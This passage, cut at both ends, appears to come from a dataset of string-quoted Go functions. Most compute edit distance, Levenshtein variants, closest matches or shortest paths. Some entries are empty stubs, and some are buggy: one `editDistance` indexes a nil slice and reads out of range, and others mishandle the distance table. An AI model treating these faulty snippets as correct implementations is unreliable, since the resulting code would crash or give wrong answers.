value\n\t\t}\n\t}\n\treturn min\n}", "func smallestDistancePair(nums []int, k int) int {\n \n}", "func shortestWay(s string, t string) int {\r\n i, j, ans := 0, 0, 0\r\n for j < len(t) && ans <= j {\r\n if i < len(s) {\r\n if s[i] == t[j] {\r\n i++\r\n j++\r\n } else {\r\n i++\r\n }\r\n } else {\r\n i = 0\r\n ans++\r\n }\r\n }\r\n ans++\r\n if ans >= j {\r\n return -1\r\n } \r\n return ans\r\n}", "func (pair Pair) FindBestPairedMatch(activePairs []Pair) *Pair {\n\tresult := pair.FindPairedMatches(activePairs)\n\tif len(result) == 0 {\n\t\treturn nil\n\t}\n\n\tmaxVal := 0.0 // keep best score = sum of 2 pairs (D1,R2) and (D2,R1)\n\tmaxInd := 0 // keep index of best pair (D2,R2)\n\tfor k, v := range result {\n\t\t// (D1,R1) and (D2,R2) => test scores of (D1,R2) and (D2,R1)\n\t\ttmp := pair.Recipient.Match(v.Donor)\n\t\t_tmp := v.Recipient.Match(pair.Donor)\n\t\tif tmp.Score+_tmp.Score > maxVal {\n\t\t\tmaxInd = k\n\t\t\tmaxVal = tmp.Score + _tmp.Score\n\t\t}\n\t}\n\treturn &result[maxInd]\n}", "func LevenschteinDistance(s1, s2 string, dp [][]int) int {\n\tvar c int\n\tfor i := 1; i <= len(s1); i++ {\n\t\tfor j := 1; j <= len(s2); j++ {\n\t\t\tif s1[i-1] == s2[j-1] {\n\t\t\t\tc = 0\n\t\t\t} else {\n\t\t\t\tc = 1\n\t\t\t}\n\t\t\tdp[i][j] = MinOfThree(dp[i-1][j-1]+c, dp[i-1][j]+1, dp[i][j-1]+1)\n\t\t}\n\t}\n\treturn dp[len(s1)][len(s2)]\n}", "func minDistance(word1 string, word2 string) int {\n return 0\n}", "func LevDist(s string, t string) int {\n\tm := len(s)\n\tn := len(t)\n\td := make([][]int, m+1)\n\tfor i := range d {\n\t\td[i] = make([]int, n+1)\n\t}\n\tfor i := range d {\n\t\td[i][0] = i\n\t}\n\tfor j := range d[0] {\n\t\td[0][j] = j\n\t}\n\tfor j := 1; j <= n; j++ {\n\t\tfor i := 1; i <= m; i++ {\n\t\t\tif s[i-1] == t[j-1] {\n\t\t\t\td[i][j] = d[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tmin := d[i-1][j]\n\t\t\t\tif d[i][j-1] < min {\n\t\t\t\t\tmin = d[i][j-1]\n\t\t\t\t}\n\t\t\t\tif d[i-1][j-1] < min {\n\t\t\t\t\tmin = d[i-1][j-1]\n\t\t\t\t}\n\t\t\t\td[i][j] = min + 1\n\t\t\t}\n\t\t}\n\n\t}\n\treturn d[m][n]\n}", "func New(possible []string, subsetSize []int) *ClosestMatch {\n\tcm := new(ClosestMatch)\n\tcm.SubstringSizes = subsetSize\n\tcm.SubstringToID = make(map[string]map[uint32]struct{})\n\tcm.ID = make(map[uint32]IDInfo)\n\tfor i, s := range possible {\n\t\tsubstrings := cm.splitWord(strings.ToLower(s))\n\t\tcm.ID[uint32(i)] = IDInfo{Key: s, NumSubstrings: len(substrings)}\n\t\tfor substring := range substrings {\n\t\t\tif _, ok := cm.SubstringToID[substring]; !ok {\n\t\t\t\tcm.SubstringToID[substring] = make(map[uint32]struct{})\n\t\t\t}\n\t\t\tcm.SubstringToID[substring][uint32(i)] = struct{}{}\n\t\t}\n\t}\n\n\treturn cm\n}", "func (cm *ClosestMatch) Closest(searchWord string) string {\n\tfor _, pair := range rankByWordCount(cm.match(searchWord)) {\n\t\treturn pair.Key\n\t}\n\treturn \"\"\n}", "func minDistance(word1 string, word2 string) int {\n\tn1, n2 := len(word1), len(word2)\n\n\t// dp[i][j] == k 表示 word1[:i] 和 word2[:j] 的最大公共子序列的长度为 k\n\tdp := make([][]int, n1+1)\n\tfor i := range dp {\n\t\tdp[i] = make([]int, n2+1)\n\t}\n\tmax := func(a, b int) int {\n\t\tif a > b {\n\t\t\treturn a\n\t\t}\n\t\treturn b\n\t}\n\tfor i := 1; i <= n1; i++ {\n\t\tfor j := 1; j <= n2; j++ {\n\t\t\tdp[i][j] = max(dp[i-1][j], dp[i][j-1])\n\t\t\tif word1[i-1] == word2[j-1] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1] + 1\n\t\t\t}\n\t\t}\n\t}\n\n\treturn n1 + n2 - dp[n1][n2]*2\n}", "func SmallestDistancePair(nums []int, k int) int {\n\tif len(nums) == 0 {\n\t\treturn -1\n\t}\n\tsort.Ints(nums)\n\tlo, hi := 0, nums[len(nums)-1] - nums[0]\n\tfor lo < hi {\n\t\tm := int(uint(lo+hi) >> 1)\n\t\tif countPairs(nums, m) >= k {\n\t\t\thi = m\n\t\t} else {\n\t\t\tlo = m + 1\n\t\t}\n\t}\n\treturn lo\n}", "func LevenshteinDistance(str1, str2 string) int {\n\t// Convert string parameters to rune arrays to be compatible with non-ASCII\n\truneStr1 := []rune(str1)\n\truneStr2 := []rune(str2)\n\n\t// Get and store length of these strings\n\truneStr1len := len(runeStr1)\n\truneStr2len := len(runeStr2)\n\tif runeStr1len == 0 {\n\t\treturn runeStr2len\n\t} else if runeStr2len == 0 {\n\t\treturn runeStr1len\n\t} else if utils.Equal(runeStr1, runeStr2) {\n\t\treturn 0\n\t}\n\n\tcolumn := make([]int, runeStr1len+1)\n\n\tfor y := 1; y <= runeStr1len; y++ {\n\t\tcolumn[y] = y\n\t}\n\tfor x := 1; x <= runeStr2len; x++ {\n\t\tcolumn[0] = x\n\t\tlastkey := x - 1\n\t\tfor y := 1; y <= runeStr1len; y++ {\n\t\t\toldkey := column[y]\n\t\t\tvar i int\n\t\t\tif runeStr1[y-1] != runeStr2[x-1] {\n\t\t\t\ti = 1\n\t\t\t}\n\t\t\tcolumn[y] = utils.Min(\n\t\t\t\tutils.Min(column[y]+1, // insert\n\t\t\t\t\tcolumn[y-1]+1), // delete\n\t\t\t\tlastkey+i) // substitution\n\t\t\tlastkey = oldkey\n\t\t}\n\t}\n\n\treturn column[runeStr1len]\n}", "func FurthestDistance(directions []string) (max int) {\n\tbyDirection := orderByDirection([]string{})\n\tfor _, direction := range directions {\n\t\tbyDirection[direction]++\n\t\tdistance := findShortestPathFromMap(byDirection)\n\t\tif distance > max {\n\t\t\tmax = distance\n\t\t}\n\t}\n\treturn\n}", "func editDistance(string1, string2 string) int {\n\tvar dp [][]int\n\n\tfor i := 0; i < len(string1); i++ {\n\t\tfor j := 0; j < len(string2); j++ {\n\t\t\tif i == 0 {\n\t\t\t\tdp[i][j] = j\n\t\t\t} else if j == 0 {\n\t\t\t\tdp[i][j] = i\n\t\t\t} else {\n\t\t\t\tdp[i][j] = 0\n\t\t\t}\n\t\t}\n\t}\n\n\tfor i := 0; i < len(string1); i++ {\n\t\tfor j := 0; j < len(string2); j++ {\n\t\t\ti_idx := i - 1\n\t\t\tj_idx := j - 1\n\t\t\tif string1[i_idx] == string2[j_idx] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = 1 + min(dp[i][j]+dp[i-1][j], dp[i][j]+dp[i][j-1], dp[i][j]+dp[i-1][j-1])\n\t\t\t}\n\t\t}\n\t}\n\treturn dp[len(string1)+1][len(string2)+1]\n\n}", "func MinDistance(word string, comparingWords []string) (min int) {\n\tmin = len(word)\n\tfor _, compareWord := range comparingWords {\n\t\tdistance := levenshtein.ComputeDistance(word, compareWord)\n\t\tif min > distance {\n\t\t\tmin = distance\n\t\t}\n\t}\n\treturn\n}", "func (s *text) bestMatch(costs []float64, i int) (match, error) {\n\tcandidates := costs[max(0, i-maxLenWord):i]\n\tk := 0\n\tvar matchs []match\n\tfor j := len(candidates) - 1; j >= 0; j-- {\n\t\tcost := getWordCost(strings.ToLower(s.s[i-k-1:i])) + float64(candidates[j])\n\t\tmatchs = append(matchs, match{cost: cost, idx: k + 1})\n\t\tk++\n\t}\n\treturn minCost(matchs)\n}", "func printLevenshteinDistance(dp [][]int, word1, word2 string) {\n\tfor i := 0; i < len(dp); i++ {\n\t\tif i > 0 {\n\t\t\tfmt.Print(string(word2[i-1]), \" \")\n\t\t}\n\t\tif i == 0 {\n\t\t\tfmt.Print(\" \")\n\t\t\tfor j := 0; j < len(word1); j++ {\n\t\t\t\tfmt.Print(string(word1[j]), \" \")\n\t\t\t}\n\t\t\tfmt.Println(\"\")\n\t\t\tfmt.Print(\" \")\n\t\t}\n\t\tfor j := 0; j < len(dp[i]); j++ {\n\t\t\tfmt.Print(dp[i][j], \" \")\n\t\t}\n\t\tfmt.Println()\n\t}\n}", "func FindShortestPath(directions []string) int {\n\tbyDirection := orderByDirection(directions)\n\treturn findShortestPathFromMap(byDirection)\n}", "func ld(s, t string, ignoreCase bool) int {\n\tif ignoreCase {\n\t\ts = strings.ToLower(s)\n\t\tt = strings.ToLower(t)\n\t}\n\td := make([][]int, len(s)+1)\n\tfor i := range d {\n\t\td[i] = make([]int, len(t)+1)\n\t}\n\tfor i := range d {\n\t\td[i][0] = i\n\t}\n\tfor j := range d[0] {\n\t\td[0][j] = j\n\t}\n\tfor j := 1; j <= len(t); j++ {\n\t\tfor i := 1; i <= len(s); i++ {\n\t\t\tif s[i-1] == t[j-1] {\n\t\t\t\td[i][j] = d[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tmin := d[i-1][j]\n\t\t\t\tif d[i][j-1] < min {\n\t\t\t\t\tmin = d[i][j-1]\n\t\t\t\t}\n\t\t\t\tif d[i-1][j-1] < min {\n\t\t\t\t\tmin = d[i-1][j-1]\n\t\t\t\t}\n\t\t\t\td[i][j] = min + 1\n\t\t\t}\n\t\t}\n\n\t}\n\treturn d[len(s)][len(t)]\n}", "func minDistance(word1 string, word2 string) int {\n\tl1 := len(word1)\n\tl2 := len(word2)\n\tgrid := make([][]int, l1+1)\n\tfor i := 0; i < l1+1; i++ {\n\t\tgrid[i] = make([]int, l2+1)\n\t}\n\tgrid[0][0] = 0\n\tfor i := 1; i < l1+1; i++ {\n\t\tgrid[i][0] = i\n\t}\n\tfor j := 1; j < l2+1; j++ {\n\t\tgrid[0][j] = j\n\t}\n\n\tfor i := 1; i < l1+1; i++ {\n\t\tfor j := 1; j < l2+1; j++ {\n\t\t\tif word1[i-1] == word2[j-1] {\n\t\t\t\tgrid[i][j] = grid[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tgrid[i][j] = min3(grid[i-1][j], grid[i][j-1], grid[i-1][j-1]) + 1\n\t\t\t}\n\t\t}\n\t}\n\treturn grid[l1][l2]\n}", "func GetBestEnglishMatch(results []string) string {\n\tmax := 0\n\tstr := \"\"\n\tscore := 0\n\n\tfor _, result := range results {\n\t\tscore = GetScore(result)\n\n\t\tif score > max {\n\t\t\tmax = score\n\t\t\tstr = result\n\t\t}\n\t}\n\n\treturn str\n}", "func (d *DStarLite) findShortestPath() {\n\t/*\n\t procedure ComputeShortestPath()\n\t {10”} while (U.TopKey() < CalculateKey(s_start) OR rhs(s_start) > g(s_start))\n\t {11”} u = U.Top();\n\t {12”} k_old = U.TopKey();\n\t {13”} k_new = CalculateKey(u);\n\t {14”} if(k_old < k_new)\n\t {15”} U.Update(u, k_new);\n\t {16”} else if (g(u) > rhs(u))\n\t {17”} g(u) = rhs(u);\n\t {18”} U.Remove(u);\n\t {19”} for all s ∈ Pred(u)\n\t {20”} if (s != s_goal) rhs(s) = min(rhs(s), c(s, u) + g(u));\n\t {21”} UpdateVertex(s);\n\t {22”} else\n\t {23”} g_old = g(u);\n\t {24”} g(u) = ∞;\n\t {25”} for all s ∈ Pred(u) ∪ {u}\n\t {26”} if (rhs(s) = c(s, u) + g_old)\n\t {27”} if (s != s_goal) rhs(s) = min s'∈Succ(s)(c(s, s') + g(s'));\n\t {28”} UpdateVertex(s);\n\t*/\n\tfor d.queue.Len() != 0 { // We use d.queue.Len since d.queue does not return an infinite key when empty.\n\t\tu := d.queue.top()\n\t\tif !u.key.less(d.keyFor(d.s)) && d.s.rhs <= d.s.g {\n\t\t\tbreak\n\t\t}\n\t\tuid := u.ID()\n\t\tswitch kNew := d.keyFor(u); {\n\t\tcase u.key.less(kNew):\n\t\t\td.queue.update(u, kNew)\n\t\tcase u.g > u.rhs:\n\t\t\tu.g = u.rhs\n\t\t\td.queue.remove(u)\n\t\t\tfrom := d.model.To(uid)\n\t\t\tfor from.Next() {\n\t\t\t\ts := from.Node().(*dStarLiteNode)\n\t\t\t\tsid := s.ID()\n\t\t\t\tif sid != d.t.ID() {\n\t\t\t\t\ts.rhs = math.Min(s.rhs, edgeWeight(d.model.Weight, sid, uid)+u.g)\n\t\t\t\t}\n\t\t\t\td.update(s)\n\t\t\t}\n\t\tdefault:\n\t\t\tgOld := u.g\n\t\t\tu.g = math.Inf(1)\n\t\t\tfor _, _s := range append(graph.NodesOf(d.model.To(uid)), u) {\n\t\t\t\ts := _s.(*dStarLiteNode)\n\t\t\t\tsid := s.ID()\n\t\t\t\tif s.rhs == edgeWeight(d.model.Weight, sid, uid)+gOld {\n\t\t\t\t\tif s.ID() != d.t.ID() {\n\t\t\t\t\t\ts.rhs = math.Inf(1)\n\t\t\t\t\t\tto := d.model.From(sid)\n\t\t\t\t\t\tfor to.Next() {\n\t\t\t\t\t\t\tt := to.Node()\n\t\t\t\t\t\t\ttid := t.ID()\n\t\t\t\t\t\t\ts.rhs = math.Min(s.rhs, edgeWeight(d.model.Weight, sid, tid)+t.(*dStarLiteNode).g)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\td.update(s)\n\t\t\t}\n\t\t}\n\t}\n}", "func (cm *ClosestMatch) ClosestN(searchWord string, n int) []string {\n\tmatches := make([]string, n)\n\tj := 0\n\tfor i, pair := range rankByWordCount(cm.match(searchWord)) {\n\t\tif i == n {\n\t\t\tbreak\n\t\t}\n\t\tmatches[i] = pair.Key\n\t\tj = i\n\t}\n\treturn matches[:j+1]\n}", "func findSamePartFromTwoString(first string, second string, sameMinLen int) []string {\n\tif len(first) == 0 || len(second) == 0 {\n\t\treturn nil\n\t}\n\tfirstParts := strings.Split(first, \"\")\n\tfirstLen := len(firstParts)\n\tvar commParts []string\n\tstartIndex := 0\n\tcommStr := \"\"\n\tcommStartIndex := -1\n\tsubLen := sameMinLen\n\tfor startIndex <= firstLen-sameMinLen {\n\t\tsub := strings.Join(firstParts[startIndex:startIndex+subLen], \"\")\n\t\tif strings.Contains(second, sub) {\n\t\t\tcommStr = sub\n\t\t\tif commStartIndex == -1 {\n\t\t\t\tcommStartIndex = startIndex\n\t\t\t}\n\t\t\tsubLen++\n\t\t} else {\n\t\t\tif commStartIndex != -1 {\n\t\t\t\tcommStr = strings.TrimSpace(commStr)\n\t\t\t\tif len(strings.Split(commStr, \"\")) >= sameMinLen {\n\t\t\t\t\tcommParts = append(commParts, commStr)\n\t\t\t\t}\n\t\t\t\tcommStr = \"\"\n\t\t\t\tcommStartIndex = -1\n\t\t\t\tstartIndex += subLen - 1\n\t\t\t\tsubLen = sameMinLen\n\t\t\t} else {\n\t\t\t\tstartIndex++\n\t\t\t}\n\n\t\t}\n\t\tif startIndex+subLen > firstLen {\n\t\t\tif commStartIndex != -1 {\n\t\t\t\tcommStr = strings.TrimSpace(commStr)\n\t\t\t\tif len(strings.Split(commStr, \"\")) >= sameMinLen {\n\t\t\t\t\tcommParts = append(commParts, commStr)\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t}\n\n\treturn commParts\n}", "func closest(p Point, centroids []Point) int {\n\tch := make (chan Result)\n\n\tfor i := 0; i < len(centroids); i++ {\n\t\tgo func(j int, ch chan Result) {\n\t\t\tch <- Result {\n\t\t\t\tcentroidInd: j,\n\t\t\t\tdistance: distance(p,centroids[j]),\n\t\t\t}\n\t\t}(i, ch)\n\t}\n\n\tresult := <-ch\n\tminDistance := result.distance\n\tminInd := result.centroidInd\n\n\tfor i := 1; i < len(centroids); i++ {\n\t\tresult = <-ch\n\t\tif result.distance < minDistance {\n\t\t\tminDistance = result.distance\n\t\t\tminInd = result.centroidInd\n\t\t}\n\t}\n\n\treturn minInd\n}", "func distance(str1, str2 string) int {\n\tvar cost, lastdiag, olddiag int\n\ts1 := []rune(str1)\n\ts2 := []rune(str2)\n\n\tlenS1 := len(s1)\n\tlenS2 := len(s2)\n\n\tcolumn := make([]int, lenS1+1)\n\n\tfor y := 1; y <= lenS1; y++ {\n\t\tcolumn[y] = y\n\t}\n\n\tfor x := 1; x <= lenS2; x++ {\n\t\tcolumn[0] = x\n\t\tlastdiag = x - 1\n\t\tfor y := 1; y <= lenS1; y++ {\n\t\t\tolddiag = column[y]\n\t\t\tcost = 0\n\t\t\tif s1[y-1] != s2[x-1] {\n\t\t\t\t// Replace costs 2 in ssdeep\n\t\t\t\tcost = 2\n\t\t\t}\n\t\t\tcolumn[y] = min(\n\t\t\t\tcolumn[y]+1,\n\t\t\t\tcolumn[y-1]+1,\n\t\t\t\tlastdiag+cost)\n\t\t\tlastdiag = olddiag\n\t\t}\n\t}\n\treturn column[lenS1]\n}", "func FindShortestPath(tree *Node) int {\n\tstart := findNodeByName(tree, \"YOU\")\n\tpaths := [][]string{}\n\twalkTree(start, []string{}, &paths)\n\n\t// removes all walked paths that do not end at SAN\n\tfilterPaths := func(paths [][]string) [][]string {\n\t\tresult := [][]string{}\n\t\tfor _, values := range paths {\n\t\t\tif values[len(values)-1] == \"SAN\" {\n\t\t\t\tresult = append(result, values)\n\t\t\t}\n\t\t}\n\t\treturn result\n\t}\n\n\tgetShortestPath := func(paths [][]string) int {\n\t\tshortest := -1\n\t\tfor _, values := range paths {\n\t\t\tif shortest == -1 || len(values) < shortest {\n\t\t\t\tshortest = len(values)\n\t\t\t}\n\t\t}\n\t\treturn shortest\n\t}\n\n\treturn getShortestPath(filterPaths(paths)) - 4 + 1\n}", "func NativeDP(s1, s2 string) int {\n\ts1Len, s2Len := len(s1), len(s2)\n\tif s1Len == 0 {\n\t\treturn s2Len\n\t}\n\tif s2Len == 0 {\n\t\treturn s1Len\n\t}\n\n\tdp := make([][]int, s1Len)\n\tfor i := range dp {\n\t\tdp[i] = make([]int, s2Len)\n\t}\n\n\t// fill up the first column\n\tfor ri := 0; ri < s1Len; ri++ {\n\t\tif s1[ri] == s2[0] {\n\t\t\tfor k := ri; k < s1Len; k++ {\n\t\t\t\tdp[k][0] = k\n\t\t\t}\n\t\t\tbreak\n\t\t} else {\n\t\t\tdp[ri][0] = ri + 1\n\t\t}\n\t}\n\n\t// fill up the first row\n\tfor ci := 0; ci < s2Len; ci++ {\n\t\tif s2[ci] == s1[0] {\n\t\t\tfor k := ci; k < s2Len; k++ {\n\t\t\t\tdp[0][k] = k\n\t\t\t}\n\t\t\tbreak\n\t\t} else {\n\t\t\tdp[0][ci] = ci + 1\n\t\t}\n\t}\n\n\t// same logic with recursion\n\tfor ri := 1; ri < s1Len; ri++ {\n\t\tfor ci := 1; ci < s2Len; ci++ {\n\t\t\tif s1[ri] == s2[ci] {\n\t\t\t\tdp[ri][ci] = getMin(dp[ri-1][ci]+1, dp[ri][ci-1]+1, dp[ri-1][ci-1])\n\t\t\t} else {\n\t\t\t\tdp[ri][ci] = getMin(dp[ri-1][ci], dp[ri][ci-1], dp[ri-1][ci-1]) + 1\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dp[s1Len-1][s2Len-1]\n}", "func OSADamerauLevenshteinDistance(str1, str2 string) int {\n\t// Convert string parameters to rune arrays to be compatible with non-ASCII\n\truneStr1 := []rune(str1)\n\truneStr2 := []rune(str2)\n\n\t// Get and store length of these strings\n\truneStr1len := len(runeStr1)\n\truneStr2len := len(runeStr2)\n\tif runeStr1len == 0 {\n\t\treturn runeStr2len\n\t} else if runeStr2len == 0 {\n\t\treturn runeStr1len\n\t} else if utils.Equal(runeStr1, runeStr2) {\n\t\treturn 0\n\t} else if runeStr1len < runeStr2len {\n\t\treturn OSADamerauLevenshteinDistance(str2, str1)\n\t}\n\n\t// 2D Array\n\trow := utils.Min(runeStr1len+1, 3)\n\tmatrix := make([][]int, row)\n\tfor i := 0; i < row; i++ {\n\t\tmatrix[i] = make([]int, runeStr2len+1)\n\t\tmatrix[i][0] = i\n\t}\n\n\tfor j := 0; j <= runeStr2len; j++ {\n\t\tmatrix[0][j] = j\n\t}\n\n\tvar count int\n\tfor i := 1; i <= runeStr1len; i++ {\n\t\tmatrix[i%3][0] = i\n\t\tfor j := 1; j <= runeStr2len; j++ {\n\t\t\tif runeStr1[i-1] == runeStr2[j-1] {\n\t\t\t\tcount = 0\n\t\t\t} else {\n\t\t\t\tcount = 1\n\t\t\t}\n\n\t\t\tmatrix[i%3][j] = utils.Min(utils.Min(matrix[(i-1)%3][j]+1, matrix[i%3][j-1]+1),\n\t\t\t\tmatrix[(i-1)%3][j-1]+count) // insertion, deletion, substitution\n\t\t\tif i > 1 && j > 1 && runeStr1[i-1] == runeStr2[j-2] && runeStr1[i-2] == runeStr2[j-1] {\n\t\t\t\tmatrix[i%3][j] = utils.Min(matrix[i%3][j], matrix[(i-2)%3][j-2]+1) // translation\n\t\t\t}\n\t\t}\n\t}\n\treturn matrix[runeStr1len%3][runeStr2len]\n}", "func minCost(matchs []match) (match, error) {\n\tif len(matchs) == 0 {\n\t\treturn match{}, errors.New(\"match.len \")\n\t}\n\tr := matchs[0]\n\tfor _, m := range matchs {\n\t\tif m.cost < r.cost {\n\t\t\tr = m\n\t\t}\n\t}\n\treturn r, nil\n}", "func FuzzyFind(source string, targets []string, maxDistance int) (found string) {\n\tfor _, target := range targets {\n\t\tsrc := fix(source)\n\t\ttrg := fix(target)\n\t\tif strings.HasPrefix(src, trg) || strings.HasPrefix(trg, src) {\n\t\t\treturn target\n\t\t}\n\t\tdistance := fuzzy.LevenshteinDistance(src, trg)\n\t\tif distance <= maxDistance {\n\t\t\tmaxDistance = distance\n\t\t\tfound = target\n\t\t}\n\t}\n\n\tif found == \"\" {\n\t\tfor _, target := range targets {\n\t\t\tsrc := strings.Split(fix(source), \" \")\n\t\t\ttrg := strings.Split(fix(target), \" \")\n\n\t\t\tif len(src) > 2 && len(trg) > 2 {\n\t\t\t\tif src[0] == trg[0] && src[1] == trg[1] {\n\t\t\t\t\treturn target\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}", "func d(i, j int, a, b string) int {\n\tmin_v := 100\n\n\tcost := 1\n\tif a[i] == b[j] {\n\t\tcost = 0\n\t}\n\n\tif i == j && j == 0 {\n\t\tmin_v = 0\n\t}\n\tif i > 0 {\n\t\tmin_v = min(min_v, d(i - 1, j, a, b) + 1)\n\t}\n\tif j > 0 {\n\t\tmin_v = min(min_v, d(i, j - 1, a, b) + 1)\n\t}\n\tif i > 0 && j > 0 {\n\t\tmin_v = min(min_v, d(i - 1, j - 1, a, b) + cost)\n\t}\n\tif i > 1 && j > 1 && a[i] == b[j - 1] && a[i - 1] == b[j] {\n\t\tmin_v = min(min_v, d(i - 2, j - 2, a, b) + 1)\n\t}\n\n\treturn min_v\n\n}", "func shortestPath(youPath, sanPath []string) int {\n\tfor i := range youPath {\n\t\tfor j := range sanPath {\n\t\t\tif youPath[i] == sanPath[j] {\n\t\t\t\treturn i + j - 2 // don't count the two starting paths\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}", "func FindShort(s string) int {\n\tstrSplit := strings.Split(s, \" \")\n\tans := len(strSplit[0])\n\tfor _, v := range strSplit {\n\t\tif ans > len(v) {\n\t\t\tans = len(v)\n\t\t}\n\t}\n\treturn ans\n}", "func PairsSumNearToTarget(arr1, arr2 []int, target int) (arr1Idx, arr2Idx int) {\n\tvalueToPosition := make(map[int]int, len(arr2))\n\n\tclosest, ci, cj := 999, 0, 0\n\n\tfor i := 0; i < len(arr1); i++ {\n\t\t// Speed up: Is the current element's exact complement wrt target in the map?\n\t\tcomp := target - arr1[i]\n\t\t// If comp is in map, return it\n\t\tif idx, ok := valueToPosition[comp]; ok {\n\t\t\treturn i, idx\n\t\t}\n\n\t\t// Scan the second array\n\t\tfor j := 0; j < len(arr2); j++ {\n\t\t\t// Core check\n\t\t\tif arr1[i]+arr2[j] == target {\n\t\t\t\treturn i, j\n\t\t\t}\n\t\t\t// Is it the closest?\n\t\t\tif cl := math.Abs(float64(target - arr1[i] - arr2[j])); cl < float64(closest) {\n\t\t\t\tclosest, ci, cj = int(cl), i, j\n\t\t\t}\n\n\t\t\t// On first scan store arr2 values -> arr2 index in the map\n\t\t\tif i == 0 {\n\t\t\t\tvalueToPosition[arr2[j]] = j\n\t\t\t}\n\t\t}\n\t}\n\n\t// We didn't find an exact match so just return the closest\n\tprintln(\"closest indices\", ci, cj, \"diff:\", closest)\n\treturn ci, cj\n}", "func EditDistEx(a, b string) int {\n\tlen1, len2 := len(a), len(b)\n\tif len1 == 0 {\n\t\treturn len2\n\t}\n\tif len2 == 0 {\n\t\treturn len1\n\t}\n\tif len1 < len2 {\n\t\treturn EditDistEx(b, a)\n\t}\n\tcurr, next := 0, 0\n\trow := make([]int, len2+1)\n\n\tfor i := 0; i < len2+1; i++ {\n\t\trow[i] = i\n\t}\n\n\tfor i := 0; i < len1; i++ {\n\t\tcurr = i + 1\n\n\t\tfor j := 0; j < len2; j++ {\n\t\t\tcost := invBool2int(a[i] == b[j] || (i > 0 && j > 0 && a[i-1] == b[j] && a[i] == b[j-1]))\n\t\t\tfmt.Printf(\"%v %v == %v\\n\", a[i], b[j], cost)\n\n\t\t\tnext = min(min(\n\t\t\t\trow[j+1]+1,\n\t\t\t\trow[j]+cost),\n\t\t\t\tcurr+1)\n\n\t\t\trow[j], curr = curr, next\n\t\t}\n\t\trow[len2] = next\n\t\tfmt.Printf(\"%v\\n\", row)\n\t}\n\tfmt.Printf(\"\\n\")\n\tfmt.Printf(\"\\n\")\n\treturn next\n}", "func (t *Tap) FindLikely(s string) string {\n\ti := len(t.programs) / 2\n\tbeg := 0\n\tend := len(t.programs)\n\tfor {\n\t\tp := t.programs[i]\n\t\tif len(s) <= len(p.Name) {\n\t\t\tif p.Name[:len(s)] == s {\n\t\t\t\t//Check for better fit.\n\t\t\t\tfor j := i; j > 0; j-- {\n\t\t\t\t\tif t.programs[j].Name == s {\n\t\t\t\t\t\treturn t.programs[j].Name\n\t\t\t\t\t}\n\t\t\t\t\tif p.Name[:len(s)] != s {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn p.Name\n\t\t\t}\n\t\t}\n\t\tif s < p.Name {\n\t\t\tend = i\n\t\t\ti = (i + beg) / 2\n\t\t} else {\n\t\t\tbeg = i\n\t\t\ti = (i + end) / 2\n\t\t}\n\t}\n\treturn \"\"\n}", "func (c *Calculator) ShortestPathTo(dstID string) ([]string, int, error) {\n\tvertMap := c.g.Vertices()\n\tv, exists := vertMap[dstID]\n\tif !exists {\n\t\treturn nil, 0, xerrors.Errorf(\"unknown vertex with ID %q\", dstID)\n\t}\n\n\tvar (\n\t\tminDist = v.Value().(*pathState).minDist\n\t\tpath []string\n\t)\n\n\tfor ; v.ID() != c.srcID; v = vertMap[v.Value().(*pathState).prevInPath] {\n\t\tpath = append(path, v.ID())\n\t}\n\tpath = append(path, c.srcID)\n\n\t// Reverse in place to get path from src->dst\n\tfor i, j := 0, len(path)-1; i < j; i, j = i+1, j-1 {\n\t\tpath[i], path[j] = path[j], path[i]\n\t}\n\treturn path, minDist, nil\n}", "func BestIntersection(strPath1, strPath2 string) int {\n\tinput1 := strings.Split(strPath1, \",\")\n\tinput2 := strings.Split(strPath2, \",\")\n\tpath1 := parsePath(input1)\n\tpath2 := parsePath(input2)\n\tvar shortestDistance int\n\n\tlineDistance1 := 0\n\tfor _, line1 := range path1.lines {\n\t\tlineDistance2 := 0\n\t\tfor _, line2 := range path2.lines {\n\t\t\tif !linesArePerpendicular(line1, line2) {\n\t\t\t\tlineDistance2 += line2.length\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvar vLine line\n\t\t\tvar hLine line\n\t\t\tif isVertical(line1) {\n\t\t\t\tvLine = line1\n\t\t\t\thLine = line2\n\t\t\t} else {\n\t\t\t\tvLine = line2\n\t\t\t\thLine = line1\n\t\t\t}\n\n\t\t\tintersection := getIntersection(hLine, vLine)\n\t\t\tif intersection != nil {\n\t\t\t\t// Get length of lines taken to get to intersection\n\t\t\t\tpartialLineDistance1 := comparePointDistance(hLine.point1, *intersection)\n\t\t\t\tpartialLineDistance2 := comparePointDistance(vLine.point1, *intersection)\n\t\t\t\tintersectDistance := lineDistance1 + lineDistance2 + partialLineDistance1 + partialLineDistance2\n\t\t\t\tif shortestDistance == 0 || intersectDistance < shortestDistance {\n\t\t\t\t\tshortestDistance = intersectDistance\n\t\t\t\t}\n\t\t\t}\n\t\t\tlineDistance2 += line2.length\n\t\t}\n\t\tlineDistance1 += line1.length\n\t}\n\treturn shortestDistance\n}", "func shortestDistanceColor(colors []int, queries [][]int) []int {\n\tr := make([]int, 0)\n\t//data structure\n\t// brain storm:\n\t// 1) linked list\n\t// 2) hash\n\t// map[value int] indexes []int | ordered?\n\t// loop through colors to create map\n\t// check if the value exist\n\t// loop through indexes to find the lowest difference\n\t//\n\t// optionb) only 3 values not too much sense to hash it.\n\t//\n\t// O(1*ln(M) + N)\n\t// 3) list\n\t// brute force loop forward and backward until match\n\t// O(N)\n\t// Probably going with this\n\n\tfor _, v := range queries {\n\t\tshortest := -1\n\t\tfunc() {\n\t\t\tfor i := v[0]; i < len(colors); i++ {\n\n\t\t\t\tif v[1] == colors[i] {\n\t\t\t\t\tdistance := i - v[0]\n\t\t\t\t\tshortest = distance\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor i := v[0]; i >= 0; i-- {\n\t\t\t\tdistance := v[0] - 